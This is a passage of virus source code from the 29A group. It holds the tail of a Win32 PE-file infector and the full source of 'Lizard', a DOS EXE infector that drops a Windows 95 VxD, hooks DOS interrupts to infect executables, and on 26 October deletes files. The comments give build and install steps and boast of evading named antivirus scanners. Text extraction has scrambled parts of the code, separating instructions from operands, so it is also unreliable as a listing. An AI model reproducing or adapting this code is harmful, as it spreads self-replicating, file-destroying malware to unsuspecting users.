ecx ebp,ecx ;get base adress ebp,[ebp.MZ_lfanew] ;get PE header base ecx,word ptr [ebp.NT_FileHeader \ ;get Number of Sections .FH_NumberOfSections] xor eax,eax movzx edi,word ptr [ebp.NT_FileHeader \ ;get 1st section header .FH_SizeOfOptionalHeader] x = IMAGE_SIZEOF_SECTION_HEADER mov al,x mul ecx ;get last section header pop edx jecxz end_Attach2 add edi,eax lea ebx,[ebp.NT_OptionalHeader + edi] mov ecx,[ebx.SH_SizeOfRawData - x] mov eax,[ebx.SH_VirtualSize - x] cmp ecx,eax jnc $+3 xchg eax,ecx add edx,[ebx.SH_PointerToRawData - x] sub eax,-3 mov ecx,(v_size + 3)/4 and al,-4 lea edi,[eax+edx] ;find pointer in last section where virus cld ;will be copied rep movsd ;copy virus add eax,[ebx.SH_VirtualAddress - x] ;calculate virus entry point mov ecx,[ebp.NT_OptionalHeader.OH_FileAlignment] ;in RVA end_Attach2: jecxz push lea and neg sub mov lea

end_Attach eax ;virus entry point esi,[edi + (phost_start_rva - v_start) - ((v_size + 3) \ (-4))] eax edi,edx [esi + delta_host - phost_start_rva],eax ;harcode delta to eax,[ecx+edi-1] ;host base adress

cdq sub mov cdq div pop mul xchg mov add jecxz cmp jnc mov n_vir: dec mov add div mul add cmp jnc mov n_img: add sub or

pop mov cdq cmp jc xchg sub div mul push mov

;edx=0 edx,[ebp.NT_OptionalHeader.OH_AddressOfEntryPoint] [esi],edx ;hardcode delta to original entry point RVA ;edx=0 ecx esi ;virus entry point ecx ;calculate new size of section (raw data) eax,edi ecx,[ebp.NT_OptionalHeader.OH_SectionAlignment] eax,(virtual_end - v_end + 3) and (-4) end_Attach [ebx.SH_VirtualSize - x],eax n_vir [ebx.SH_VirtualSize - x],eax ;store new size of section (RVA) eax [ebx.SH_SizeOfRawData - x],edi ;store new size of section eax,ecx ;(raw data) ecx ecx eax,[ebx.SH_VirtualAddress - x] [ebp.NT_OptionalHeader.OH_SizeOfImage],eax n_img [ebp.NT_OptionalHeader.OH_SizeOfImage],eax ;store new size ;of image (RVA) edi,[ebx.SH_PointerToRawData - x] ;get new file size ecx,ecx byte ptr [ebx.SH_Characteristics.hiw.hib - x],0E0h ;change ; (IMAGE_SCN_MEM_EXECUTE or \ ;section characte; IMAGE_SCN_MEM_READ or \ ;risticz to: execute, ; IMAGE_SCN_MEM_WRITE) shr 12 ;read & write access eax ;get original file size cl,size_pad ; edx=0 edi,eax ;compare it with new file size $+3 edi,eax ;take the greater eax,1 - size_pad ecx ecx ;grow file size to a multiple of size_pad eax [ebp.NT_OptionalHeader.OH_AddressOfEntryPoint],esi ;change ;entry point

end_Attach: popad ret Attach

endp

GetProcAddressIT proc ;gets a pointer to an API function from the Import Table ; (the object inspected is in raw form, ie memory-maped) ;on entry: ; TOS+0Ch (Arg3): API function name ; TOS+08h (Arg2): module name ; TOS+04h (Arg1): base adress of memory-maped file ; TOS+00h (return adress) ;on exit: ; EAX = RVA pointer to IAT entry ; EAX = 0, if not found pushad mov ebp,[esp.cPushad.Arg1] ;get Module Handle from Arg1 lea esi,[ebp.MZ_lfanew] add esi,[esi] ;get address of PE header + MZ_lfanew

mov

ecx,[esi.NT_OptionalHeader \ ;get size of import directory .OH_DirectoryEntries \ .DE_Import \ .DD_Size \ -MZ_lfanew] jecxz End_GetProcAddressIT2 ;if size is zero, no API imported! movzx ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz .FH_NumberOfSections \ -MZ_lfanew] jecxz End_GetProcAddressIT2 movzx ebx,word ptr [esi.NT_FileHeader \ ;get 1st section header .FH_SizeOfOptionalHeader \ -MZ_lfanew] lea ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew] x = IMAGE_SIZEOF_SECTION_HEADER match_virtual:

mov

;find section containin the import table. (not necesarily ;its in the .idata section!)

mov sub add cmp

edi,[esi.NT_OptionalHeader .OH_DirectoryEntries .DE_Import .DD_VirtualAddress -MZ_lfanew] edx,[ebx.SH_VirtualAddress] edi,edx ebx,x edi,[ebx.SH_VirtualSize - x]

jb loop jmp

import_section_found match_virtual End_GetProcAddressIT

\ ;get address of import table \ \ \ ;get RVA start pointer of ;current section ;address of import table ;inside current section? ;yea, we found it ;no, try next section ;no more sectionz, shit.. go

import_section_found: push edi mov eax,[ebx.SH_SizeOfRawData - x] mov ebx,[ebx.SH_PointerToRawData - x] xchg ebp,eax ;get RAW size of import section (EBP) add ebx,eax ;get RAW start of import section (EBX) cld x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR Get_DLL_Name:

;scan each import descriptor inside import section to match ;module name specified

pop

esi

mov

ecx,[ebx.esi.ID_Name]

;diference (if any) between start ;of imp.table and start of imp.section ;get RVA pointer to imp.module name

End_GetProcAddressIT2: jecxz sub cmp jae add push lea mov

End_GetProcAddressIT ;end of import descriptorz? ecx,edx ;convert RVA pointer to RAW ecx,ebp ;check if it points inside section End_GetProcAddressIT esi,x esi ;save next import descriptor for later esi,[ebx + ecx] ;retrieval edi,[esp.(Pshd).cPushad.Arg2] ;get module name specified ;from Arg2 Next_char_from_DLL: ;do a char by char comparison with module name found ;inside section. Stop when a NULL or a dot is found

lodsb add jz sub cmp jae add no_up: sub IT_nup: scasb jnz cmp jnz

al,-'.' IT_nup al,-'.'+'a' al, 'z'-'a'+ 1 no_up al,-20h al,-'a'

;its a dot

;convert to upercase

Get_DLL_Name ;names dont match, get next import descriptor byte ptr [edi-1],0 Next_char_from_DLL

Found_DLL_name: ;we got the import descriptor containin specified module name pop lea add mov mov push mov push call xchg mov jecxz push call test jnz mov

jecxz push call test jz sub add db org

esi eax,[edx + esi.ID_ForwarderChain - x] esi,ebx [esp.Pushad_edx],eax ;store ptr to ForwarderChain for l8r [esp.Pushad_esi],esi ;store ptr to imp.descriptor for l8r dword ptr [esp.cPushad.Arg3] eax,[esp.(Pshd).Pushad_ebp] dword ptr [eax + K32Mod - v_end] GetProcAddressET ;scan exp.table of spec.module handle eax,ecx ;and get function adress of spec.API ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the ;API function adressez are bound End_GetProcAddressIT ;if not found then go, this value cant ;be zero or the IAT wont be patched eax GetProcAddrIAT ;inspect first thunk (which later will eax,eax ;be patched by the loader) IAT_found ;if found then jump (save it and go) ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk ;(which later will hold the original ;unpatched IAT) End_GetProcAddressIT ;if not found then go, this value eax ;could be zero GetProcAddrIAT ;inspect original thunk eax,eax IAT_found ;jump if not found eax,ecx ;we got the pointer eax,[esi.ID_FirstThunk - x] ;convert it to RVA 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;bizarre! but no jump $ - 2 ;necesary!

End_GetProcAddressIT: db

33h,0C0h ;xor eax,eax

;error, adress not found

[esp.Pushad_eax],eax

;save IAT entry pointer

(3*Pshd)

;go and unwind parameterz in stack

IAT_found: mov popad ret

GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords" ; from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for ; the selected API name. This function works for both ; bound and unbound import descriptorz. This function is ; called from inside GetProcAddressIT. ;on entry: ; EBX = RAW start pointer of import section

; ECX = RVA pointer to IMAGE_THUNK_ARRAY ; EDX = RVA start pointer of import section ; EDI = pointer selected API function name. ; EBP = RAW size of import section ; TOS+04h (Arg1): real address of API function inside selected ; module (in case the descriptor is unbound). ; TOS+00h (return adress) ;on exit: ; EAX = RVA pointer to IAT entry ; EAX = 0, if not found push push

ecx esi

xor sub cmp jae lea

eax,eax ecx,edx ecx,ebp IT_not_found esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array

next_thunk_dword: lodsd test jz

eax,eax IT_not_found

;get dword value ;end of IMAGE_THUNK_DATA array?

no_ordinal: sub cmp jb add cmp jmp

eax,edx ;convert dword to a RAW pointer eax,ebp ;dword belongs to an unbound image descriptor? IT_search ;no, jump eax,edx ;we have the API adress, reconvert to RVA eax,[esp.(2*Pshd).Arg1] ;API adressez match? IT_found? ;yea, we found it, jump

IT_search: push lea mov

esi ;image descr.contains imports by name esi,[ebx+eax.IBN_Name] ;get API name from import descriptor edi,[esp.(5*Pshd).cPushad.Arg3] ;get API name selected as a ;parameter

IT_next_char: cmpsb jnz

IT_new_search

;find req.API from all imported API namez ;do APIz match? ;no, continue searchin

IT_Matched_char: cmp jnz

byte ptr [esi-1],0 IT_next_char

IT_new_search: pop

esi

;yea, they match, we found it

IT_found?: jnz lea sub IT_not_found:

next_thunk_dword eax,[edx+esi-4] ;get the pointer to the new IAT entry eax,ebx ;convert it to RVA

pop pop

esi ecx

ret

(Pshd)

GetProcAddressIT endp GetProcAddressET proc ;This function is similar to GetProcAddressIT except ; that it looks for API functions in the export table ; of a given DLL module. It has the same functionality ; as the original GetProcAddress API exported from ; KERNEL32 except that it is able to find API ; functions exported by ordinal from KERNEL32. ;on entry: ; TOS+08h (Arg2): pszAPIname (pointer to API name) ; TOS+04h (Arg1): module handle/base address of module ; TOS+00h (return adress) ;on exit: ; ECX = API function address ; ECX = 0, if not found pushad mov eax,[esp.cPushad.Arg1] ;get Module Handle from Arg1 mov ebx,eax add eax,[eax.MZ_lfanew] ;get address of PE header mov ecx,[eax.NT_OptionalHeader \ ;get size of Export directory .OH_DirectoryEntries \ .DE_Export \ .DD_Size] jecxz Proc_Address_not_found ;size is zero, No API exported ! mov ebp,ebx ;get address of Export directory add ebp,[eax.NT_OptionalHeader \ .OH_DirectoryEntries \ .DE_Export \ .DD_VirtualAddress] ifndef NoOrdinal mov eax,[esp.cPushad.Arg2] ;get address of requested API name or ;ordinal value from Arg2 test eax,-10000h ;check if Arg2 is an ordinal jz Its_API_ordinal endif Its_API_name: push mov add mov xor cld

ecx edx,ebx ;get address of exported API names edx,[ebp.ED_AddressOfNames] ecx,[ebp.ED_NumberOfNames] ;get number of exported API names eax,eax

Search_for_API_name: mov add mov

esi,ebx ;get address of next exported API name esi,[edx+eax*4] edi,[esp.Pshd.cPushad.Arg2] ;get address of requested API name ;from Arg2 Next_Char_in_API_name: cmpsb jz inc loop pop

Matched_char_in_API_name eax Search_for_API_name eax

;find requested API from all ;exported API namez

Proc_Address_not_found: xor jmp ifndef

eax,eax End_GetProcAddressET

;API not found

NoOrdinal

Its_API_ordinal: sub jmp

eax,[ebp.ED_BaseOrdinal] Check_Index

;normalize Ordinal, i.e. ;convert it to an index

endif Matched_char_in_API_name: cmp jnz pop mov add movzx

byte ptr [esi-1],0 ;end of API name reached? Next_Char_in_API_name ecx edx,ebx ;get address of exp.API ordinals edx,[ebp.ED_AddressOfOrdinals] eax,word ptr [edx+eax*2] ;get index into exp.API functions

Check_Index: cmp jae mov add add mov sub cmp jb

eax,[ebp.ED_NumberOfFunctions] ;check for out of range index Proc_Address_not_found edx,ebx ;get address of exported API functions edx,[ebp.ED_AddressOfFunctions] ebx,[edx+eax*4] ;get address of requested API function eax,ebx ebx,ebp ;take care of forwarded API functions ebx,ecx Proc_Address_not_found

End_GetProcAddressET: mov popad ret

[esp.Pushad_ecx],eax

;set requested Proc Address, if found

(2*Pshd)

GetProcAddressET endp MyGetProcAddressK32:

pop push push

;this function is simply a wraper to the GetProcAddress ; API. It retrieves the address of an API function ; exported from KERNEL32. ;on entry: ; TOS+04h (Arg1): pszAPIname (pointer to API name) ; TOS+00h (return adress) ;on exit: ; ECX = API function address ; ECX = 0, if not found

eax dword ptr [ebp + K32Mod - v_end] eax

;KERNEL32 module handle

MyGetProcAddress proc mov ecx,12345678h ddGetProcAddress = dword ptr $ - 4

;this dynamic variable will hold an RVA ;pointer to the GetProcAddress API in ;the IAT

gotoGetProcAddressET: jecxz push push add call xchg jecxz ret

GetProcAddressET [esp.Arg2] [esp.(Pshd).Arg1] ecx,[ebp + phost_hdr - v_end] [ecx] ;call the original GetProcAddress API ecx,eax gotoGetProcAddressET ;if error, call my own GetProcAddress (2*Pshd) ;function

MyGetProcAddress endp MyGetModuleHandleA proc ;this function retrieves the base address/module ;handle of a DLL module previosly loaded to memory. pop ecx pop eax push ecx mov edx,[ebp + phost_hdr - v_end] mov ecx,12345678h ;this dynamic variable will hold an RVA ddGetModuleHandleA = dword ptr $ - 4 ;pointer to the GetModuleHandleA API in jecxz check_K32 ;the IAT GetModHandleA: push call xor jmp

eax [ecx + edx] ecx,ecx really_PE?

;call the original GetModuleHandleA API

check_K32: mov

eax,[edx + 12345678h]

ptrForwarderChain = dword ptr $ - 4 inc eax jz End_GetModHandleA dec eax jz End_GetModHandleA cmp eax,12345678h

ddForwarderChain = dword ptr $ - 4 jz End_GetModHandleA

;this dynamic variable will hold an ;RVA pointer to the ForwarderChain ;field in the KERNEL32 import ;descriptor. This is an undocumented ;feature to get the K32 base address ;make sure the base address is ok

;this dynamic variable will hold the ;prev.contents of the ForwarderChain ;field in the K32 import descriptor ;if they match, then the Win32 loader ;didnt copy the K32 base address

really_PE?: cmp jnz mov cmp jnz xchg

word ptr [eax],IMAGE_DOS_SIGNATURE ;make sure its the base End_GetModHandleA ;address of a PE module edx,[eax.MZ_lfanew] dword ptr [eax + edx],IMAGE_NT_SIGNATURE End_GetModHandleA ecx,eax

End_GetModHandleA: ret MyGetModuleHandleA endp align 4

;set dword alignment

v_end: ;uninitialized data

;these variablez will be addressed in memory, but ;dont waste space in the file

pv_start phost_hdr K32Mod

dd dd dd

FunctionAddressez:

;these variables will hold the API function addressez ;used in the virus

ddCreateFileA ddCreateFileMappingA ddCloseHandle ddUnmapViewOfFile ddMapViewOfFile ddFindFirstFileA ddFindNextFileA ddFindClose ddSetFileAttributesA ddSetFilePointer ddSetEndOfFile ddSetFileTime

dd dd dd dd dd dd dd dd dd dd dd dd

v_stringz:

;the API names used by the virus are decrypted here

vszKernel32 vszGetModuleHandleA vszGetProcAddress

db db db

'KERNEL32',0 'GetModuleHandleA',0 'GetProcAddress',0

EXE_filez

db

'*.EXE',0

vszCreateFileA vszCreateFileMappingA vszCloseHandle vszUnmapViewOfFile vszMapViewOfFile vszFindFirstFileA vszFindNextFileA vszFindClose vszSetFileAttributesA vszSetFilePointer vszSetEndOfFile vszSetFileTime

db db db db db db db db db db db db

'CreateFileA',0 'CreateFileMappingA',0 'CloseHandle',0 'UnmapViewOfFile',0 'MapViewOfFile',0 'FindFirstFileA',0 'FindNextFileA',0 'FindClose',0 'SetFileAttributesA',0 'SetFilePointer',0 'SetEndOfFile',0 'SetFileTime',0

EndOfFunctionNames

db

0

? ? ?

;pointer to virus start in memory ;ptr to the host base address in mem ;KERNEL32 base address

? ? ? ? ? ? ? ? ? ? ? ?

;the file mask

FunctionNamez:

align 4 FindData

WIN32_FIND_DATA ?

virtual_end: first_generation:

;this routine will be called only once from the first ;generation sample, it simply initializes some variables ;needed in the very first run.

jumps push call

NULL GetModuleHandleA

here:

test jz xchg call pop

eax,eax exit_host ecx,eax here ebx

mov sub sub neg mov

eax,ebx eax,here - v_start eax,ecx eax [ebx + delta_host - here],eax

mov sub sub neg mov

eax,ebx eax,here - host eax,ecx eax [ebx + phost_start_rva - here],eax

mov .if mov .endif sub mov

eax,[ebx + pfnGMH - here] word ptr [eax] == 25FFh eax,[eax + 2]

mov .if mov .endif sub mov

eax,[ebx + pfnGPA - here] word ptr [eax] == 25FFh eax,[eax + 2]

pfnGMH pfnGPA

dd dd

;set GetModuleHandleA ;RVA pointer

; JMP [nnnnnnnn]

eax,ecx [ebx + ddGetProcAddress - here],eax

;set GetProcAddress ;RVA pointer ;encrypt unencrypted API namez and other ;stringz

ecx,ve_string_size esi,[ebx + ve_stringz - here] edi,esi crypt_back v_start

;ok, here we go.. jump to virus start..

crypt_back: lodsb not ror stosb loop ret

;set pointer to ;host's base adress

; JMP [nnnnnnnn]

eax,ecx [ebx + ddGetModuleHandleA - here],eax

pushad cld mov lea mov call popad jmp

;set delta host value

;encryption routine

al al,cl crypt_back

offset GetModuleHandleA offset GetProcAddress

;Host code starts here extrn extrn

MessageBoxA: proc ExitProcess: proc

host: ;Display Message box

;here begins the original host code

push @pushsz @pushsz push call

MB_OK "(c) Win32.Jacky by jqwerty/29A" "First generation sample" NULL MessageBoxA

;Exit host exit_host: push call

0 ExitProcess

end

first_generation

;----------------------------------------------------------------------------;Lizard by Reptile/29A (another version ;) ;----------------------------------------------------------------------------; ; ; ; ;

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

;This is an encrypted vxd direct action dos exe infector (I added some anti;heuristics and other stuff and optimized the code of v1.0). ;When an infected file is run the virus decrypts itself, drops lzd.vxd to the ;available one of the three dirs and then returns back to the host. After the ;next reboot... ;When windoze 95 is starting, it loads the vxd (lzd.vxd) automatically coz ;it's in the '\iosubsys\' dir (Lizard doesn't need to modify the system.ini ;or the registry). Then the virus takes control and hooks the V86 interrupt ;chain. It executes on exec (4bh), create (3ch), ext. open (6ch), close (3eh) ;and on find first file (4eh) using direct action techniques to infect all ;dos exes in the current directory (*highly* infectious!). Lzd.vxd has a size ;of 7099 bytes (masm sux! :P ), but the victims are only increased by 1967 (!) ;bytes. ;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't ;detect it (all for win95). ;Compiling lzd.vxd (win95 DDK): ;makefile ;Compiling rmlzd.inc: ;tasm /m2 rmlzd.asm ;tlink /t rmlzd.obj ;file2db rmlzd.com (or another db generator) ;modify rmlzd.dat ;To install copy lzd.vxd to one of the following dirs: ;- c:\windows\system\iosubsys ;- c:\win95\system\iosubsys ;- c:\windows.000\system\iosubsys ;...or start lizard.exe :) ;P.S.: ;Sandy: are u lucky now? ;) ;Jacky: thanx for testing it! ;GriYo: the stack stuff really didn't work :P ;P.P.S: ;TrY MaGiC MuShRoOmS... ;---[LZD.ASM]----------------------------------------------------------------.386p .xlist include vmm.inc .list vxdhsize equ 701 vxddsize equ 81 vxdcsize equ 880

esize equ encend - encstart vsize equ vend - start Declare_Virtual_Device LZD, 6, 66, LZD_Control, Undefined_Device_Id, \ Undefined_Init_Order,, VxD_Locked_Data_Seg wcard db '*.e?e',0 ;*.l?z include rmlzd.inc ;realmode code dflag db 0 pflag db 0 ndta db 43 dup (?) header db 26 dup (?) VxD_Locked_Data_Ends ;----------------------------------------------------------------------------VxD_Locked_Code_Seg BeginProc LZD_Device_Init ;trigger mov ah,2ah ;get date vxdint 21h ;live drazil si cmp dh,10 ;26.10.? jne npload cmp dl,26 jne npload mov pflag,1 ;hehe npload: mov eax,21h ;install int 21h handler mov esi,offset32 int21h VMMcall Hook_V86_Int_Chain clc ret EndProc LZD_Device_Init ;----------------------------------------------------------------------------BeginProc int21h cmp [ebp.Client_AH],4bh ;exec je short ww cmp [ebp.Client_AH],3ch ;create je short ww cmp [ebp.Client_AH],6ch ;ext. open je short ww cmp [ebp.Client_AH],3eh ;close je short ww cmp [ebp.Client_AH],4eh ;find first je short ww jmp prevhook ww: Push_Client_State ;save regs VMMcall Begin_Nest_Exec ;----------------------------------------------------------------------------cmp dflag,1 je done mov ax,3d02h ;open lzd.vxd lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir vxdint 21h jnc short rd mov ax,3d02h ;open the vxd lea edx,dropname2 ;in the 'c:\win95\system\iosubsys' dir vxdint 21h

jnc short rd mov ax,3d02h ;open the vxd lea edx,dropname3 ;in the 'c:\windows.000\system\iosubsys' dir vxdint 21h jc ecsit ;skip it rd: xchg ax,bx mov ah,3fh ;store the header of the vxd mov cx,vxdhsize lea edx,vxdheader vxdint 21h mov ax,4201h xor cx,cx mov dx,3400 vxdint 21h

;jmp over zeros

mov ah,3fh ;store the vxddata mov cx,vxddsize lea edx,vxddata vxdint 21h mov ax,4201h xor cx,cx mov dx,2037 vxdint 21h

;jmp over realmodecode and zeros

mov ah,3fh ;store the vxdcode mov cx,vxdcsize lea edx,vxdcode vxdint 21h mov ah,3eh vxdint 21h

;close...

mov dflag,1 ;set flag ;----------------------------------------------------------------------------done: mov ah,1ah ;set dta lea edx,ndta vxdint 21h ffirst: mov ah,4eh ;search for first exe jmp short w fnext: mov ah,4fh ;find next exe w: mov cx,7 lea edx,wcard ;*.e?e vxdint 21h jc ecsit mov ax,4301h ;set normal attribute mov cx,20h lea edx,[ndta + 30] vxdint 21h cmp pflag,1 ;sux0ring microsuckers jne pheeew ;(the payload in v1.0 was a bit too destructive ;)

evil: ;evil payload against the imperialism of microsoft! mov ah,41h ;yhcrana lea edx,[ndta + 30] vxdint 21h jmp ecsit pheeew: mov ax,3d02h ;open the victim lea edx,[ndta + 30] vxdint 21h jc fnext xchg ax,bx mov ah,3fh ;read header mov cx,26 lea edx,header vxdint 21h cmp word ptr [header],'ZM' ;exe? jne cfile cmp word ptr [header + 0ch],0ffffh ;allocate all mem? jne cfile cmp word ptr [header + 18h],40h ;win exe? je cfile mov al,[header + 12h] ;infected? or al,al jne cfile ;save ss:sp mov ax,word ptr [header + 0eh] mov sseg,ax mov ax,word ptr [header + 10h] mov ssp,ax ;save cs:ip mov eax,dword ptr [header + 14h] mov csip,eax mov ax,4202h xor cx,cx cwd vxdint 21h

;eof

;calc new cs:ip mov cx,16 div cx sub ax,word ptr [header + 8] mov word ptr [header + 14h],dx mov word ptr [header + 16h],ax add edx,vend

;calc stack

mov word ptr [header + 0eh],ax mov word ptr [header + 10h],dx ;xor encryption rdnm: in al,40h or al,al je rdnm

mov [encval],al ;save random value mov edi,offset32 encstart mov cx,esize xl: xor [edi],al inc edi loop xl ;write virus mov ah,40h mov cx,vsize mov edx,offset32 start vxdint 21h ;undo mov al,[encval] mov edi,offset32 encstart mov cx,esize xll: xor [edi],al inc edi loop xll mov ax,4202h xor cx,cx cwd vxdint 21h

;eof

mov cx,512 ;calc pages div cx or dx,dx jz short np inc ax np: mov word ptr [header + 4],ax mov word ptr [header + 2],dx mov ax,4200h xor cx,cx cwd vxdint 21h

;bof

rnd: in al,40h ;set infection flag or al,al je rnd mov [header + 12h],al mov ah,40h ;write new header mov cx,26 lea edx,header vxdint 21h cfile: mov cl,byte ptr [ndta + 21] ;restore attribute lea edx,[ndta + 1eh] mov ax,4301h vxdint 21h mov cx,word ptr [ndta + 22] ;restore time/date mov dx,word ptr [ndta + 24]

mov ax,5701 vxdint 21h mov ah,3eh vxdint 21h jmp fnext

;close file

ecsit: VMMcall End_Nest_Exec Pop_Client_State prevhook: stc ret EndProc int21h ;----------------------------------------------------------------------------BeginProc LZD_Control Control_Dispatch Init_Complete,LZD_Device_Init clc ret EndProc LZD_Control wb db 13,10,'Lizard by Reptile/29A',0 VxD_Locked_Code_Ends End ;this is the end my only friend the end... ;---[RMLZD.ASM]--------------------------------------------------------------;Lizard's real mode portion .286 vxdhsize equ 701 vxddsize equ 81 vxdcsize equ 880 esize equ encend - encstart rmsize equ rmend - rmstart .model tiny .code org 100h start: rmstart: ;get delta ;----------------------------------------------------------------------------call $ + 3 drazil: pop si sub si,offset drazil push si pop bp ;----------------------------------------------------------------------------push ds ;coz psp push cs pop ds ;decrypt it db 176 ;mov al encval db 0 ;----------------------------------------------------------------------------lea di,[bp + offset encstart] mov cx,esize

xd: jmp fj fj2: inc di loop xd jmp encstart fj: xor [di],al jmp fj2 ;----------------------------------------------------------------------------encstart: mov ax,3d00h ;try to open lzd.vxd in lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys int 21h jnc cfile ;exit if already installed mov ah,3ch ;install lzd.vxd xor cx,cx int 21h jnc inst mov lea int jnc mov xor int jnc

ax,3d00h ;try to open lzd.vxd in dx,[bp + offset dropname2] ;c:\win95\system\iosubsys 21h cfile ah,3ch cx,cx 21h inst

mov ax,3d00h ;try to open lzd.vxd in lea dx,[bp + offset dropname3] ;c:\windows.000\system\iosubsys int 21h jnc cfile mov ah,3ch xor cx,cx int 21h jc exit inst: xchg ax,bx mov mov lea int

ah,40h ;write the header cx,vxdhsize dx,[bp + offset vxdheader] 21h

;write some zeros mov cx,3400 lzero: push cx mov ah,40h mov cx,1 lea dx,[bp + zero] int 21h pop cx loop lzero mov mov lea int

ah,40h ;write the data cx,vxddsize dx,[bp + offset vxddata] 21h

mov ah,40h

;write the rmcode

mov cx,rmsize lea dx,[bp + offset rmstart] int 21h ;write some more zeros mov cx,1732 lzero2: push cx mov ah,40h mov cx,1 lea dx,[bp + zero] int 21h pop cx loop lzero2 mov mov lea int

ah,40h ;write the code cx,vxdcsize dx,[bp + offset vxdcode] 21h

cfile: mov ah,3eh int 21h ;exe return exit: pop ax ;psp add ax,11h dec ax add word ptr [bp + offset csip + 2],ax ;stack db 5 ;add ax sseg dw 0fff0h ;test mov ss,ax db 0bch ;mov sp ssp dw 0fffeh db 0eah csip dd 0fff00000h zero db 0 dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0 dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0 dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0 rmend: vxdheader db vxdhsize dup (?) vxddata db vxddsize dup (?) vxdcode db vxdcsize dup (?) encend: ends end start ;---[RMLZD.INC]--------------------------------------------------------------;Modified db listing of rmlzd.com start: db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h ;db 000h

encval db 0 db 08Dh db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh db 0F7h encstart: db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h dbNUL005h ;db 0F0h, 0FFh sseg dw 0fff0h ;not necessary db 08Eh, 0D0h, 0BCh ;db 0FEh, 0FFh ssp dw 0fffeh dbNUL0EAh ;db 000h, 000h, 0F0h, 0FFh csip dd 0fff00000h db 000h ;db 063h, 03Ah ;dbNUL05Ch, 077h, 069h, 06Eh, 064h, 06Fh, 077h, 073h ;dbNUL05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch ;dbNUL069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h ;dbNUL05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h ;dbNUL000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh, 039h ;dbNUL035h, 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh ;dbNUL05Ch, 069h, 06Fh, 073h, 075h, 062h, 073h, 079h ;db 073h, 05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h ;db 064h, 000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh ;db 064h, 06Fh, 077h, 073h, 02Eh, 030h, 030h, 030h ;db 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch ;dbNUL069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h ;dbNUL05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h ;dbNUL000h dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0 dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0 dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0 vxdheader db vxdhsize dup (?) vxddata db vxddsize dup (?) vxdcode db vxdcsize dup (?) encend: vend: ;---[LZD.DEF]----------------------------------------------------------------VXD LZD DYNAMIC DESCRIPTION ''

SEGMENTS _LPTEXT _LTEXT _LDATA _TEXT _DATA CONST _TLS _BSS _ITEXT _IDATA _PTEXT _PDATA _STEXT _SDATA _DBOSTART _DBOCODE _DBODATA _16ICODE _RCODE

CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS CLASS

'LCODE' 'LCODE' 'LCODE' 'LCODE' 'LCODE' 'LCODE' 'LCODE' 'LCODE' 'ICODE' 'ICODE' 'PCODE' 'PDATA' 'SCODE' 'SCODE' 'DBOCODE' 'DBOCODE' 'DBOCODE' '16ICODE' 'RCODE'

